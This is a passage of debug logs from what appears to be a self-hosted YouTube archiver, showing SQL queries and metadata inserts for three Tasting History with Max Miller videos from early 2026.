m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:00.794 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8815] 02:52:00.794 [debug] Current batch of media processed. Will check again in 1000ms 02:52:00.998 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:01.794 [debug] Current batch of media processed. Will check again in 1000ms 02:52:02.795 [debug] Current batch of media processed. Will check again in 1000ms 02:52:03.796 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 1276, "filename" => "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", "id" => "myvdVmaa0GE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=myvdVmaa0GE", "playlist_index" => 8, "timestamp" => 1770134479, "title" => "Cooking Kangaroo on the World War 2 Australian Home Front", "upload_date" => "20260203"} 02:52:03.797 [debug] QUERY OK source="sources" db=0.2ms idle=1405.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:03.797 [debug] QUERY OK source="sources" db=0.1ms idle=1405.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:03.799 [debug] QUERY OK source="media_items" db=1.4ms idle=1406.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-03 16:01:19Z], 3] 02:52:03.800 [debug] QUERY OK source="media_items" db=1.0ms idle=1062.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "85bc1a4f-e1e1-45e8-84f6-e5adca26a0e0", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", false, 1276, false, 8, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, false, 3, [], 98, ~U[2026-02-03 16:01:19Z], ~U[2026-03-31 06:52:03Z], ~U[2026-03-31 06:52:03Z], "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastinghistory\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/by-sa/4.0, via Wikimedia Commons\n\n#tastinghistory", "Cooking Kangaroo on the World War 2 Australian Home Front", "myvdVmaa0GE", "https://www.youtube.com/watch?v=myvdVmaa0GE", 1276, false, "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].mp4", false, 3, ~U[2026-02-03 16:01:19Z]] 02:52:03.801 [debug] QUERY OK source="sources" db=0.2ms idle=61.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:03.801 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:03.801 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8307] 02:52:03.802 [debug] Current batch of media processed. Will check again in 1000ms 02:52:04.802 [debug] Current batch of media processed. Will check again in 1000ms 02:52:05.803 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "duration" => 1300, "filename" => "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", "id" => "R9Kw_3c88bQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=R9Kw_3c88bQ", "playlist_index" => 9, "timestamp" => 1769529641, "title" => "Did This Meal Kill Mozart?", "upload_date" => "20260127"} 02:52:05.804 [debug] QUERY OK source="sources" db=0.1ms idle=412.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:05.804 [debug] QUERY OK source="sources" db=0.1ms idle=412.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:05.806 [debug] QUERY OK source="media_items" db=1.4ms idle=413.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 16:00:41Z], 3] 02:52:05.807 [debug] QUERY OK source="media_items" db=0.9ms idle=415.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "65d81485-c5e3-47c3-adc8-609f77ae1c3a", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", false, 1300, false, 9, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, false, 3, [], 98, ~U[2026-01-27 16:00:41Z], ~U[2026-03-31 06:52:05Z], ~U[2026-03-31 06:52:05Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/mozartspork\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #mozart", "Did This Meal Kill Mozart?", "R9Kw_3c88bQ", "https://www.youtube.com/watch?v=R9Kw_3c88bQ", 1300, false, "/downloads/Tasting History with Max Miller/2026-01-27 Did This Meal Kill Mozart?/Did This Meal Kill Mozart? [R9Kw_3c88bQ].mp4", false, 3, ~U[2026-01-27 16:00:41Z]] 02:52:05.808 [debug] QUERY OK source="sources" db=0.1ms idle=64.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:05.808 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:05.808 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7804] 02:52:05.808 [debug] Current batch of media processed. Will check again in 1000ms 02:52:06.809 [debug] Current batch of media processed. Will check again in 1000ms 02:52:07.810 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1599, "filename" => "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", "id" => "zjMQgMshYM8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zjMQgMshYM8", "playlist_index" => 10, "timestamp" => 1768924890, "title" => "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "upload_date" => "20260120"} 02:52:07.811 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=419.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:07.811 [debug] QUERY OK source="sources" db=0.1ms idle=420.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:07.813 [debug] QUERY OK source="media_items" db=1.4ms idle=420.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-20 16:01:30Z], 3] 02:52:07.815 [debug] QUERY OK source="media_items" db=1.2ms idle=422.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "a28d3294-bb41-4c86-8fee-cb1dc5ee3470", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", false, 1599, false, 10, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, false, 3, [], 98, ~U[2026-01-20 16:01:30Z], ~U[2026-03-31 06:52:07Z], ~U[2026-03-31 06:52:07Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nVideo on the London Gin Craze - https://youtu.be/r38ZpdaAX8c?si=5UvJuNx942CG_8R6\nVideo on Gruel - https://youtu.be/FPi0RiAsegQ?si=AtuicVfiJ4-w5hub\nVideo on Lobscouse - https://youtu.be/x9E-P89Acsg?si=BN4uqz-DDyD3moQ1\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/scouseandsuetdumplings\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nThe Workhouse Cookbook by Peter Higginbotham - https://amzn.to/4b9Bzvr\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings", "zjMQgMshYM8", "https://www.youtube.com/watch?v=zjMQgMshYM8", 1599, false, "/downloads/Tasting History with Max Miller/2026-01-20 Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings/Eating Like a Victorian Workhouse Inmate - Scouse & Suet Dumplings [zjMQgMshYM8].mp4", false, 3, ~U[2026-01-20 16:01:30Z]] 02:52:07.815 [debug] QUERY OK source="sources" db=0.1ms idle=67.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:07.815 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:07.816 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN 